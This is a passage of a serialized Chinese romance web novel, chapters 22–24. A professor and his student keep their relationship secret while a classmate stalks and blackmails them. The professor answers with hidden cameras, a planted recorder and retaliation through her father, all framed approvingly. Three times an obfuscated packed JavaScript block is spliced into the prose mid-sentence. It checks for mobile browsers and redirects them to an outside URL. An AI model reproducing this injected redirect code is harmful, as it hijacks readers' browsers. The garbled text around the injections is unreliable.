“知许,”他伸手把陆知许搂进怀里,“你在想什么?” “我在想……”陆知许的声音有些哽咽,“我在您心里,到底算什么。” “你说呢?”谢砚反问。 “我不知道……”陆知许说,“今天在报告厅,我看着您和林薇那样自然地互动,看着她那么了解您的行程,看着你们……” 他说不下去了。 眼泪开始往下掉。 谢砚轻轻叹了口气。 “知许,”他说,声音很温柔,“那些都是表演,你明白吗?” “我明白,”陆知许说,“但我还是难受。” “那你要我怎么做?”谢砚问,“不再理她?不再跟她说话?这样只会让她更加怀疑。” 陆知许知道谢砚说得对。 但他还是控制不了自己的情绪。 “对不起……”他小声说,“我知道我不该这样……但我就是……” “就是吃醋了?”谢砚接上他的话。 陆知许点点头。 谢砚笑了。 他捧住陆知许的脸,认真地看着他:“那我告诉你,不管我和谁说话,不管我和谁互动,我心里想的都是你。” 陆知许的眼睛睁大了。 “林薇知道我的讲座,是因为讲座信息是公开的,所有人都能在学院网站上看到,”谢砚继续说,“她不知道的是,每次我在台上讲话的时候,我都在找你——找你在哪里,有没有认真听,有没有对我笑。” 陆知许的眼泪掉得更凶了。 “她不知道的是,我办公室抽屉里放着你的照片,我手机里存着你的语音,我每天晚上睡觉前想的都是你。” 谢砚的拇指轻轻擦过陆知许脸上的泪痕。 “她什么都不知道,”他说,“她看到的,只是我想让她看到的。而你看到的,才是真实的我。” 陆知许说不出话了。 他只能抱住谢砚,把脸埋在他怀里,任由眼泪浸湿谢砚的衬衫。 谢砚轻轻拍着他的背,像在安抚受惊的小动物。 “相信我,”他在陆知许耳边轻声说,“不管发生什么,相信我。” 陆知许用力点头。 “我信,”他说,声音还带着哭腔,“我一直都信。” 窗外的夜色很深。 但房间里很温暖。 两个紧紧相拥的人,像两株互相缠绕的藤蔓,谁也离不开谁。 而窗外,城市的另一端。 林薇坐在电脑前,看着屏幕上今天偷拍的照片——报告厅里,谢砚在台上演讲,陆知许在台下看着他,眼神专注而炽热。 她盯着那张照片看了很久。 然后她打开一个新的文档,开始打字。 标题是:《关于陆知许同学可能存在不当行为的观察记录》。 她写得很快,很详细。 从陆知许频繁出入谢砚办公室,到脖子上可疑的痕迹,到今天在报告厅里那种过分专注的眼神…… 每一条,都指向同一个结论。 林薇写完,保存,加密。 然后她打开邮箱,新建一封邮件。 收件人栏空着。 她在犹豫,该把这封邮件发给谁。 教学办公室?院长?还是…… 她的手指在触摸板上轻轻滑动。 最后,她关掉了邮箱。 还不到时候。 她还需要更多的证据。 更确凿的证据。 足以一击致命的证据。 林薇靠在椅背上,闭上眼睛,嘴角勾起一个冰冷的笑容。 游戏还在继续。 而她,有的是耐心。 22. 第二十二章 周五的图书馆讲座,陆知许还是去了。 他坐在最后一排的角落,戴着帽子,几乎要把自己埋进阴影里。讲台上,谢砚正在做关于“明清小说中的禁忌书写”的演讲,声音透过麦克风传遍整个报告厅,沉稳、清晰、充满力量。 陆知许看着他,心里酸涩又骄傲。 酸涩的是,台下的听众中有三分之一是女生,她们看谢砚的眼神都带着或多或少的倾慕。骄傲的是,这样一个光芒万丈的人,是他的。 演讲进行到一半时,陆知许注意到前排有个女生一直在用手机录像。不是普通的录,而是镜头始终追着谢砚,偶尔还会拉近,像是要拍特写。 那个女生他认识——林薇的朋友,也是中文系的。 陆知许的指尖收紧。 他知道这意味着什么。 林薇在收集“证据”。 用各种方式,从各种角度。 讲座结束后,人群开始散去。谢砚被几个学生围着提问,陆知许犹豫了一下,没有上前,而是从侧门悄悄离开了。 他走到图书馆后面的小花园,在长椅上坐下。 秋日的阳光很温暖,但他却觉得有些冷。 手机震动了一下,是谢砚的消息: “在哪里?” 陆知许打字: “图书馆后面。” 发送。 几分钟后,谢砚走了过来。他今天穿着深灰色的西装,打着领带,看起来比平时更加正式,也更加……遥不可及。 “怎么一个人在这里?”谢砚在他身边坐下。 “想透透气。”陆知许小声说。 谢砚看着他,深褐色的眼睛里带着了然。 “看到林薇的朋友了?”他问。 陆知许点头:“她在录像。” “我知道,”谢砚说,“不止她一个。今天台下至少有四个人在录。” 陆知许愣住了:“四个?” “嗯,”谢砚点头,“都是林薇的朋友,或者她找来的人。” “她想干什么?”陆知许的声音里带着一丝颤抖。 “她在收集素材,”谢砚说,“演讲录像,照片,我和其他学生的互动……她在建一个档案,一个关于我的档案。” 陆知许的心脏狠狠跳了一下。 “那您……” “我让她录,”谢砚说,“录得越多越好。” 陆知许不明白。 谢砚转过头,看着他:“你知道钓鱼执法吗?” 陆知许点头。 “林薇现在做的,就是类似的事,”谢砚说,“她在设一个陷阱,等我掉进去。但陷阱设得越大,破绽就越多。” 他顿了顿,声音很平静: “我要让她把陷阱设到极致,设到她以为万无一失。然后,在她最得意的时候,让她掉进自己的陷阱里。” 陆知许看着谢砚冷静的侧脸,心里涌起一股复杂的情绪。 他认识的谢砚,应该是温和的,是会在厨房里给他做饭的,是会在夜里抱着他睡觉的。 而不是现在这个……冷静到近乎冷酷的谢砚。 “您变了。”陆知许小声说。 谢砚转过头,看着他:“变坏了?” 陆知许摇头:“不是坏……是……太冷静了。冷静得让我有点害怕。” 谢砚沉默了几秒。 然后他伸出手,握住陆知许的手。 “知许,”他说,声音很轻,“你知道我最怕什么吗?” 陆知许摇头。 “我最怕失去你,”谢砚说,握着他的手微微用力,“为了不失去你,我可以做任何事。包括变成你现在看到的这个样子。” 陆知许的眼睛开始发热。 “可是……”他小声说,“我不希望您因为我,变成自己不喜欢的样子。” 谢砚笑了。 那笑容很温柔,和平时一样。 “傻瓜,”他说,“这就是真实的我。只是以前没机会,也没必要展现出来而已。” 陆知许看着他温柔的笑容,心里的不安慢慢平息下来。 是啊,谢砚还是谢砚。 只是他以前只看到了他温和的一面,没看到他在面对威胁时的果断和决绝。 “那我们现在……该怎么办?”陆知许问。 “等。”谢砚说。 “等什么?” “等林薇下一步动作,”谢砚说,“她收集了这么多‘证据’,总要用起来。我们等她用。” 陆知许点点头。 然后他突然想起什么:“对了,她今天没来讲座?” “来了,”谢砚说,“坐在第二排,你没看见?” 陆知许摇头。 他今天刻意回避了林薇可能出现的地方。 “她全程都在看我,”谢砚说,“那种眼神……很像你以前看我的眼神。” 陆知许的脸红了:“我哪有……” “有,”谢砚说,嘴角带着笑意,“以前你在教室里偷偷看我的时候,就是那种眼神。专注,炽热,恨不得把我装进眼睛里带走。” 陆知许的脸更红了。 他想否认,但知道否认没用。 谢砚什么都知道。 “不过,”谢砚突然话锋一转,“她的眼神和你的不一样。你的眼神是干净的,纯粹的。她的眼神里……有太多算计。” 陆知许的心脏漏跳了一拍。 “所以您早就知道她……” “早就知道,”谢砚点头,“从她第一次来办公室,问我‘教授您喜欢什么样的女生’开始,我就知道。” 陆知许愣住了。 “她问过您这个?” “问过,”谢砚说,“不止一次。每次我都说,工作期间不谈私事。但她还是会拐弯抹角地问。” 谢砚的语气很平淡,但陆知许听出了里面的厌烦。 “那您为什么……” “为什么不直接拒绝她?”谢砚接过话,“因为直接拒绝只会让她更执着。有些人就是这样,你越拒绝,她越觉得你是在考验她,越不会放弃。” 陆知许明白了。 谢砚不是在纵容林薇。 他是在用一种更聪明的方式,让她自己暴露,自己放弃。 “您真厉害。”陆知许小声说。 谢砚笑了:“厉害什么?” “什么都厉害,”陆知许说,“讲课厉害,写论文厉害,处理这种事也厉害。” “那你喜欢吗?”谢砚问。 “喜欢,”陆知许说,很认真,“什么样的您,我都喜欢。” 谢砚看着他认真的样子,心里涌起一股暖流。 他凑过去,在陆知许额头上轻轻印下一个吻。 “谢谢你,”他说,“谢谢你喜欢这样的我。” 陆知许的脸又红了。 但他没有躲开。 反而靠在了谢砚肩上。 两人在长椅上坐了一会儿,直到谢砚的手机响了。 是学院打来的电话,有个紧急会议。 “我得走了,”谢砚说,“晚上来我家吃饭?” 陆知许点头:“好。” “乖。”谢砚揉了揉他的头发,起身离开了。 陆知许看着他离开的背影,心里暖暖的。 但这份温暖,很快就被打破了。 --- 谢砚离开后不到五分钟,林薇出现在了小花园。 她今天穿了一件浅米色的风衣,长发披肩,看起来温婉动人。但陆知许知道,那温婉的外表下,藏着怎样的心思。 “陆学弟,”林薇走过来,在他对面的长椅上坐下,“一个人?” 陆知许点点头。 “谢教授呢?”林薇问,“刚才看见他在这里。” “他有事先走了。”陆知许说。 “哦,”林薇笑了笑,“我还以为你们在聊什么重要的事呢,聊了这么久。” 她的语气很自然,像是在闲聊。 但陆知许听出了里面的试探。 “就是随便聊聊讲座的事。”陆知许说。 “是吗,”林薇挑眉,“可我刚才看到……谢教授好像亲了你?” 陆知许的身体僵住了。 血液好像一下子冲上了头顶,然后又迅速退去,留下冰凉的麻木感。 “你……你看错了。”他的声音在颤抖。 “看错了?”林薇笑了,“我视力很好,陆学弟。而且……我还有照片。” 她拿出手机,划了几下,然后把屏幕转向陆知许。 屏幕上,是一张照片——谢砚低头吻他额头的瞬间。 拍得很清楚,能清楚地看见谢砚温柔的表情,和他闭着眼睛顺从的样子。 陆知许的大脑一片空白。 “你想怎么样?”他的声音很轻,几乎听不见。 “我不想怎么样,”林薇收回手机,“我只是想告诉你,我知道。” 她顿了顿,看着陆知许苍白的脸,继续说: “我知道你和谢教授的关系。我知道你们在办公室做什么,知道你们私下见面,知道你们……” “别说了。”陆知许打断她。 林薇停下来,看着他。 “你想怎么样?”陆知许重复了一遍,声音比刚才大了一些,“举报我们?告诉学院?还是……” “我说了,我不想怎么样,”林薇说,声音很平静,“我只是想和你谈谈。” “谈什么?” “谈条件。”林薇说。 陆知许愣住了。 “条件?” “对,”林薇点头,“我知道你喜欢谢教授,谢教授也喜欢你。但你们的关系……太危险了。一旦曝光,谢教授的前途就毁了。” 她顿了顿,看着陆知许越来越苍白的脸,继续说: “我可以帮你们保密。甚至可以在必要的时候,帮你们打掩护。” 陆知许的心脏狠狠跳了一下。 “条件是什么?”他问。 林薇笑了。 那笑容很温柔,但陆知许觉得,比任何表情都要可怕。 “条件很简单,”她说,“我要你离开谢教授。” 空气凝固了。 陆知许呆呆地看着林薇,以为自己听错了。 “什么?” “我要你离开谢教授,”林薇重复了一遍,声音很清晰,“主动疏远他,减少和他的接触,慢慢淡出他的生活。” 陆知许的手指收紧,指甲几乎要嵌进掌心。 “为什么?”他问,声音很轻。 “因为我喜欢他,”林薇说,很直接,“我想要他。而你的存在,是我最大的障碍。” 很坦白的理由。 坦自到残忍。 陆知许看着她,看着她眼里那种志在必得的光芒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢砚做了他最喜欢的番茄炒蛋和清炒西兰花,还炖了排骨汤。饭菜的香气弥漫在整个房间里,很温暖,很家常。 但陆知许却觉得,这可能是他们最后一顿这样温馨的晚餐了。 “吃饭了。”谢砚把最后一道菜端上桌,在他对面坐下。 陆知许拿起筷子,夹了一块番茄炒蛋,送进嘴里。 味道很好。 但他却尝不出味道。 “怎么了?”谢砚问,“今天一直心不在焉的。” 陆知许摇摇头:“没什么……就是有点累。” 谢砚看着他,眉头微微蹙起。 “林薇找你了?”他突然问。 陆知许的身体僵了一下。 “没、没有……” “说实话。”谢砚的声音沉了下来。 陆知许低下头,不说话。 但他的沉默就是最好的答案。 谢砚放下筷子,走到他身边,蹲下身,握住他的手。 “她说什么了?”谢砚问,声音很轻。 陆知许的眼泪又开始往下掉。 他把下午林薇的话大致说了一遍。 谢砚听完,沉默了。 几秒后,他说:“照片呢?她给你看了吗?” 陆知许点头。 “什么样的照片?” “就是……您亲我额头的照片……”陆知许小声说。 谢砚的眉头蹙得更紧了。 “她拍到那个角度……说明她一直在跟踪我们。” 陆知许点点头。 “她还说……”他犹豫了一下,“她说如果我把这件事告诉您,她就立刻把照片发出去。” 谢砚冷笑了一声。 “她在虚张声势。” 陆知许抬起头,泪眼朦胧地看着他。 “如果她真想举报,早就举报了,”谢砚说,“不会等到现在,更不会跟你谈条件。” 陆知许眨了眨眼:“您的意思是……” “她的目的不是举报,”谢砚说,“她的目的是逼你离开我。所以她在吓唬你,让你害怕,让你自己退缩。” 陆知许的心稍微安定了一些。 但他还是害怕。 “可是……万一她真的……” “没有万一,”谢砚打断他,握紧他的手,“我不会让她有机会伤害你,也不会让她有机会破坏我们。” 他的声音很坚定,带着不容置疑的力量。 陆知许看着他坚定的眼神,心里的不安慢慢平息下来。 “那我们……现在该怎么办?”他小声问。 “吃饭,”谢砚说,站起身回到座位上,“然后好好睡觉。明天开始,一切照常。” “照常?”陆知许不明白。 “对,”谢砚点头,“你去上课,我去讲课。林薇找你,你就正常应对。她要照片,就让她要。她要谈条件,就让她谈。” 陆知许还是不明白。 但谢砚没有再解释。 他只是给陆知许夹了块排骨,说:“相信我。” 陆知许看着他,看了很久。 然后他点点头:“我相信您。” 不管发生什么,他都相信谢砚。 因为他知道,谢砚会保护他。 会保护他们的爱情。 窗外的夜色很深。 但房间里很温暖。 两个人安静地吃着饭,像什么事都没发生过。 但陆知许知道,暴风雨就要来了。 而他要做的,就是相信谢砚。 相信他们的爱情。 23. 第二十三章 周六清晨,陆知许被手机震动吵醒。 他迷迷糊糊地摸到手机,屏幕上跳出一条陌生号码的短信: “第一天。你想好了吗?” 没有署名,但陆知许知道是谁。 林薇。 他盯着那行字看了几秒,然后删除了短信,把手机扔回床头。 宿舍里很安静,其他三个室友还在熟睡。陆知许躺回床上,盯着天花板发呆。 三天。 林薇给了他三天时间。 今天是第一天。 他该怎么办? 离开谢砚吗? 不可能。 他做不到。 但如果不离开,林薇真的会举报吗? 陆知许闭上眼睛,脑海里反复回放着林薇昨天说的话: “一旦曝光,谢教授会被停职,会被调查,甚至会被开除。而你,会被记过,会被处分,会成为全校的笑话。” 每个字都像针一样扎在心里。 他确实害怕。 害怕谢砚因为他而身败名裂,害怕谢砚多年的努力毁于一旦,害怕谢砚在学术界抬不起头…… 但更害怕的是,失去谢砚。 失去那个在办公室里给他泡茶的人,失去那个在厨房里给他做饭的人,失去那个在夜里抱着他睡觉的人。 他不能失去谢砚。 绝对不能。 手机又震动了一下。 这次是谢砚的消息: “醒了吗?” 陆知许打字: “醒了。” 发送。 很快,回复来了: “来我家吃早饭。” 陆知许盯着那行字看了很久,然后回复: “好。” --- 谢砚的公寓里,早餐已经准备好了。 简单的煎蛋、吐司、牛奶,还有切好的水果。谢砚穿着深蓝色的家居服,头发还有些凌乱,看起来比平时柔和很多。 “坐。”他说,给陆知许倒了杯牛奶。 陆知许坐下,拿起叉子,但没什么食欲。 “林薇给我发短信了,”他小声说,“第一天。” 谢砚的动作顿了一下,然后继续切吐司。 “说什么了?”他问。 “就问我想好了没。”陆知许说。 谢砚点点头,没说话。 两人安静地吃着早饭,气氛有些凝重。 吃完后,谢砚收拾碗筷,陆知许想帮忙,被谢砚拒绝了。 “你去沙发上坐着,”他说,“我有东西给你看。” 陆知许乖乖坐到沙发上。 几分钟后,谢砚拿着一台笔记本电脑走过来,在他身边坐下。 “打开看看。”他把电脑推给陆知许。 陆知许打开电脑,屏幕上是一个加密文件夹。他输入谢砚告诉他的密码,文件夹打开了。 里面是几十个文件。 文件名很整齐:“林薇_图书馆讲座录像_2023.10.27.mp4”,“林薇_报告厅照片_2023.10.25.jpg”,“林薇_办公室外监控_2023.10.20.mov”…… 陆知许的心脏狠狠跳了一下。 “这些是……”他的声音在颤抖。 “林薇收集的‘证据’,”谢砚说,“以及我收集的,她收集证据的证据。” 陆知许愣住了。 “您……您早就……” “从她第一次跟踪我们开始,”谢砚点头,“我就知道了。我办公室里有隐藏摄像头,图书馆报告厅有监控,她以为她做得很隐秘,其实一举一动都在我眼里。” 陆知许的指尖微微颤抖。 他点开一个视频文件——是图书馆讲座那天,林薇的朋友在台下录像的视频。但视频的角度很奇怪,不是对着讲台,而是对着……录像的人。 “这是……”陆知许转头看向谢砚。 “图书馆的监控,”谢砚说,“我找朋友调的。不止这个,还有她朋友在其他地方录像的照片,她偷拍我们的照片,甚至她昨天在小花园找你的录音……” 陆知许睁大眼睛:“录音?” 谢砚从口袋里拿出一个小巧的黑色设备,只有纽扣大小。 “录音笔,”他说,“昨天你去图书馆前,我放在你口袋里的。” 陆知许想起来了——昨天谢砚在图书馆后面抱他的时候,好像确实往他口袋里放了什么东西。他当时没在意,以为是什么小物件。 “您……” “我知道她会找你,”谢砚说,声音很平静,“所以提前做了准备。” 陆知许看着谢砚冷静的样子,心里涌起一股复杂的感觉。 一方面,他觉得安心——谢砚早就预料到了这一切,并且做好了准备。 另一方面,他又觉得……有点可怕。 谢砚太冷静了,太周全了,好像一切都在他的掌控之中。 “您打算怎么做?”陆知许小声问。 “把这些东西,原封不动地还给她。”谢砚说。 陆知许愣住了:“还给她?” “对,”谢砚点头,“让她知道,她的一举一动,我都看在眼里。让她知道,她所谓的‘证据’,在我这里什么都不是。” 陆知许明白了。 谢砚是在警告林薇。 用一种更直接、更有力的方式。 “那……那什么时候给她?”陆知许问。 “今天下午,”谢砚说,“她今天在图书馆自习,我会让助教把这些东西交给她。” 陆知许点点头。 然后他突然想起什么:“那她手里的照片……” “她不敢发,”谢砚说,“一旦她发了,这些文件就会出现在院长办公室。” 很简单的逻辑。 但很有效。 陆知许看着谢砚冷静的侧脸,心里涌起一股暖流。 谢砚真的在保护他。 用他的方式,用他的力量。 “谢谢您。”陆知许小声说。 谢砚转过头,看着他:“谢什么?” “谢谢您保护我,”陆知许说,“谢谢您……这么厉害。” 谢砚笑了。 他伸手揉了揉陆知许的头发:“傻瓜,我不保护你,保护谁?” 陆知许的眼睛开始发热。 他靠进谢砚怀里,把脸埋在他颈窝里。 谢砚搂着他,轻轻拍着他的背。 “别怕,”他说,“有我在,没人能伤害你。” 陆知许点头,眼泪掉了下来。 但他这次不是因为害怕,是因为感动。 因为他知道,谢砚说的是真的。 有谢砚在,他真的不用怕。 --- 下午三点,图书馆四楼。 林薇坐在靠窗的位置,正在看一本专业书。她的手机震动了一下,是助教发来的消息: “林薇同学,谢教授让我给你一些资料,现在方便吗?” 林薇愣了一下,然后回复: “方便的。我在四楼靠窗的位置。” 几分钟后,助教拿着一个厚厚的文件袋走过来。 “林薇同学,”助教把文件袋递给她,“谢教授说,这些资料对你有用。” 林薇接过文件袋,感觉有些沉。 “谢谢,”她说,“谢教授还说什么了吗?” 助教想了想:“谢教授说,让你仔细看看,看完后如果有问题,可以去办公室找他。” 说完,助教转身离开了。 林薇看着手里的文件袋,心里涌起一股不祥的预感。 她打开文件袋,里面是一个U盘和几张打印出来的照片。 她先看了照片——是她和几个朋友在图书馆报告厅录像的照片,角度很奇怪,像是监控拍的。 林薇的脸色变了。 她赶紧拿出自己的笔记本电脑,插上U盘。 U盘里只有一个文件夹,名字是“给林薇同学的回礼”。 林薇点开文件夹。 里面是几十个文件,每一个文件名都让她心惊肉跳: “林薇偷拍谢教授与陆知许_2023.10.26.jpg” “林薇在办公室外徘徊_监控记录_2023.10.20.mov” “林薇与朋友讨论如何收集证据_录音_2023.10.18.mp3” …… 林薇的手开始颤抖。 她点开那个录音文件。 里面是她和朋友的声音,很清晰: “薇薇,你真的要这么做吗?万一被发现了……” “怕什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301357|198640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?谢教授那么谨慎,不会发现的。再说了,就算发现了,他敢怎么样?他一个教授,跟学生搞在一起,说出去他比我还怕……” “可是陆知许那边……” “陆知许更好对付。一个小屁孩,吓唬吓唬就老实了。我给了他三天时间,三天后如果他不离开谢教授,我就把照片发出去……” 录音到这里戛然而止。 林薇的脸色彻底白了。 她猛地合上电脑,心脏在胸腔里疯狂跳动。 谢砚知道了。 他什么都知道。 而且他有证据。 比她手里的证据,更有力的证据。 林薇坐在椅子上,手还在颤抖。 她想过谢砚可能会发现,但没想到他会知道得这么详细,没想到他会收集这么多证据。 更没想到,他会用这种方式警告她。 让她知道,她的一举一动,都在他的监控之下。 让她知道,她所谓的“把柄”,在他眼里什么都不是。 林薇深吸一口气,强迫自己冷静下来。 然后她拿出手机,给陆知许发短信: “我们谈谈。” 发送。 几秒后,回复来了: “谈什么?” 很简单的三个字。 但林薇能感觉到,陆知许的语气变了。 不再像昨天那样惊慌失措,而是……很平静。 “关于那些照片,”林薇打字,“我可以删掉。” 发送。 这次,回复来得很快: “不用了。” 林薇愣住了。 她还想再说什么,但陆知许又发来一条消息: “谢教授说,如果你再骚扰我,或者再试图接近他,这些文件就会出现在院长办公室。” 很明确的警告。 林薇的手指收紧。 她盯着那行字看了很久,然后删除对话框,关掉手机。 她知道,她输了。 输得一败涂地。 她以为她在设陷阱,其实她早就掉进了别人的陷阱。 她以为她在掌控一切,其实她一直在别人的掌控之中。 林薇靠在椅背上,闭上眼睛。 心里充满了不甘,但又无可奈何。 因为她知道,谢砚说的是真的。 如果她再敢做什么,那些文件真的会出现在院长办公室。 到时候,被处分的不是谢砚,不是陆知许。 而是她。 一个跟踪、偷拍、威胁教授和同学的学生。 林薇睁开眼睛,看着窗外的天空。 天空很蓝,阳光很好。 但她的心情,却像坠入了冰窖。 --- 晚上,谢砚的公寓。 陆知许把手机递给谢砚:“她回我了。” 谢砚接过手机,看了一眼,然后笑了。 “她认输了。”他说。 陆知许点点头:“应该是。” 谢砚把手机还给他,然后从茶几抽屉里拿出一个小盒子。 “这个给你。”他说。 陆知许接过盒子,打开。 里面是一条银色的项链,吊坠是一个小小的月亮形状,很精致,很漂亮。 “这是……”陆知许抬起头,看向谢砚。 “礼物,”谢砚说,“庆祝我们第一次共同战胜敌人。” 陆知许的眼睛开始发热。 他拿出项链,谢砚接过来,帮他戴上。 冰凉的金属贴在皮肤上,很快变得温暖。 “喜欢吗?”谢砚问。 “喜欢,”陆知许说,很认真,“很喜欢。” 谢砚笑了。 他捧住陆知许的脸,认真地看着他:“记住,不管发生什么,我都会保护你。你不是一个人,你有我。” 陆知许点头,眼泪又开始往下掉。 但这次,是喜悦的眼泪。 因为他知道,谢砚说的是真的。 不管发生什么,谢砚都会保护他。 而他会一直相信谢砚。 一直爱谢砚。 窗外的夜色很深。 但房间里很温暖。 两个人紧紧相拥,像要把对方融进身体里。 像永远不会分开。 24. 第二十四章 周一早晨,陆知许醒来时,手腕上还戴着那条银色手链。 链子很细,几乎没什么重量,但在晨光下闪着温润的光泽。他举起手,看着那个刻着“L & X”的小小锁扣,嘴角不自觉地上扬。 L & X。 陆知许和谢砚。 他们的名字,他们的羁绊。 陆知许在床上躺了一会儿,然后轻手轻脚地爬起来。谢砚还在熟睡,呼吸均匀,一只手搭在他的枕头上,像是无意识地想要抓住什么。 陆知许小心地抽出枕头,下床,走进浴室。 镜子里的他,脖子上戴着月亮项链,手腕上戴着锁链手链——都是谢砚给他的。 都是谢砚想要把他锁在身边的证明。 陆知许看着镜子里的自己,突然有了一个想法。 他需要给谢砚一个回礼。 一个同样能表达他心意的回礼。 --- 上午的课,陆知许上得心不在焉。 他一直在想,该给谢砚什么回礼。 谢砚喜欢什么? 陆知许知道谢砚喜欢喝茶,喜欢看书,喜欢安静,喜欢…… 喜欢他。 这个认知让陆知许的脸微微发热。 但他不能把自己包装成礼物送给谢砚——虽然谢砚可能会喜欢。 他需要一些更具体的东西。 一些能表达“你也是我的”的东西。 下课铃响时,陆知许还在发呆。 “老陆,走啊,”陈宇拍了拍他的肩,“吃饭去。” 陆知许回过神,点点头,收拾东西。 四个男生一起去食堂,路上陈宇突然问:“老陆,你手上那个……新买的?” 陆知许愣了一下,下意识地把手腕缩进袖口。 “嗯……”他含糊地应了一声。 “挺好看的,”李锐凑过来看了看,“就是有点……女气。不适合你戴吧?” 陆知许的脸红了:“朋友送的……” “又是那个‘外校女朋友’?”张子轩挑眉。 陆知许点点头,没说话。 他现在已经习惯用“外校女朋友”来搪塞了——反正室友们都知道真相,只是陪他演戏而已。 “行啊老陆,”陈宇笑,“感情很稳定嘛,都开始互送礼物了。” 陆知许的脸更红了。 他确实想送谢砚礼物。 但还没想好送什么。 --- 下午,陆知许去了市中心的一家手工银饰店。 这家店是他上周在网上查到的,专门定制银饰,可以自己设计图案。 店里很安静,只有一个年轻的女店员在柜台后看书。 “欢迎光临,”店员抬起头,“需要什么?” “我想……定制一个东西。”陆知许小声说。 “定制什么?” “钥匙。”陆知许说,“银质的钥匙,可以挂在项链上的那种。” 店员点点头:“有设计图吗?” 陆知许从书包里拿出一张纸——那是他中午在图书馆画的草图,很简单,就是一把钥匙的形状,但钥匙柄上刻着两个字母: X & L 谢砚和陆知许。 和手链上的字母顺序相反。 代表他们是彼此的锁与钥匙。 店员看了草图,点点头:“可以。尺寸有要求吗?” “小一点,”陆知许说,“可以挂在项链上就行。” “好,”店员说,“一周后来取。需要刻字的话,把要刻的字写下来。” 陆知许在纸上写下两个字母,又想了想,在下面加了一行很小的字: “唯一的钥匙” 写完,他的脸红了。 但他没有划掉。 这是他想对谢砚说的话。 --- 一周后,陆知许去取了做好的钥匙。 银质的钥匙很精致,比想象中还要小,只有指甲盖大小,但细节做得很好——钥匙齿很清晰,钥匙柄上的字母刻得很工整,那行小字也清晰可见。 店员还配了一条很细的银链子,可以挂在脖子上。 陆知许把钥匙穿在链子上,小心翼翼地放进书包最里层。 然后他给谢砚发消息: “教授,晚上有空吗?” 发送。 很快,回复来了: “有。来我家?” “嗯。七点。” “好。等你。” 陆知许看着那两个字——“等你”,心里暖暖的。 他决定,今晚就把礼物送给谢砚。 --- 晚上七点,陆知许准时敲响了谢砚家的门。 门很快开了,谢砚穿着深蓝色的家居服,头发还有些湿,像是刚洗过澡。 “进来。”谢砚说,侧身让开。 陆知许走进去,关上门。 “吃饭了吗?”谢砚问。 “吃了。”陆知许说,其实他没吃——太紧张了,吃不下。 谢砚看着他紧张的样子,笑了:“怎么了?有事?” 陆知许点点头,从书包里拿出那个小盒子。 “给您的,”他说,把盒子递过去,“回礼。” 谢砚愣了一下,然后接过盒子:“可以打开吗?” “可以。” 谢砚打开盒子,看见了那条项链,和项链上的钥匙。 他拿起钥匙,仔细看了看,看见了上面的字母,和那行小字。 深褐色的眼睛微微睁大。 “这是……”他的声音有些哑。 “钥匙,”陆知许小声说,“您送了我锁链,我就送您钥匙。” 他顿了顿,鼓起勇气继续说: “您是我的锁,我是您的钥匙。我们是彼此的,谁也离不开谁。” 谢砚沉默了。 他看着手里的钥匙,看了很久。 然后他抬起头,看向陆知许。 眼睛里有什么东西在流动,很深,很沉,像要把陆知许吸进去。 “帮我戴上。”谢砚说,声音很轻。 陆知许接过项链,走到谢砚身后,小心地帮他戴上。 钥匙落在谢砚胸口的位置,在深蓝色家居服的衬托下,闪着银色的光。 “好看吗?”谢砚问。 “好看,”陆知许说,很认真,“很适合您。” 谢砚转过身,看着他。 然后他伸出手,握住了陆知许戴着手链的那只手。 两只手,一只戴着锁链,一只空着。 但通过这两件饰品,他们被紧紧地连在了一起。 “知许,”谢砚说,声音很温柔,“谢谢你。” 陆知许摇摇头:“该说谢谢的是我……谢谢您送我的手链,谢谢您……愿意锁住我。” 谢砚笑了。 他捧住陆知许的脸,认真地看着他: “我不是锁住你,是保护你。用我的方式,用我能想到的最好的方式。” 陆知许点点头:“我知道。” 他知道谢砚是爱他的。 用谢砚的方式,用谢砚能想到的最好的方式。 这就够了。 “过来,”谢砚拉着他的手,走到沙发前坐下,“我也有东西给你看。” 谢砚从茶几抽屉里拿出一个文件袋。 “这是什么?”陆知许问。 “林薇的退学申请。”谢砚说。 陆知许愣住了。 “退学申请?” “嗯,”谢砚点头,“她昨天提交的,理由是‘家庭原因,需要出国’。学院已经批准了,下周办手续。” 陆知许的心脏狠狠跳了一下。 “您……您做了什么?”他的声音在颤抖。 “我什么都没做,”谢砚说,语气很平静,“我只是把那些文件发给了她父亲——她父亲是某高校的副校长,很注重名誉。看到那些文件后,他决定送女儿出国读书。” 陆知许的指尖微微颤抖。 “您……您不是说不会发出去吗……” “我没发给学院,”谢砚说,“我发给了她父亲。这不一样。” 确实不一样。 发给学院,林薇会被处分。 发给她父亲,林薇会被送出国。 都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301358|198640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是惩罚,但程度不同。 “您为什么要这么做?”陆知许小声问。 “因为她伤害了你,”谢砚说,声音很平静,“任何伤害你的人,都要付出代价。” 陆知许看着谢砚冷静的侧脸,心里涌起一股复杂的感觉。 一方面,他觉得谢砚在保护他。 另一方面,他又觉得……这样是不是太过了? “您在为我报仇吗?”他问。 “不是报仇,”谢砚摇头,“是清除威胁。她在这里一天,就会盯着我们一天。我不允许任何人威胁到我们的安全。” 陆知许沉默了。 他知道谢砚说得对。 林薇确实是个威胁。 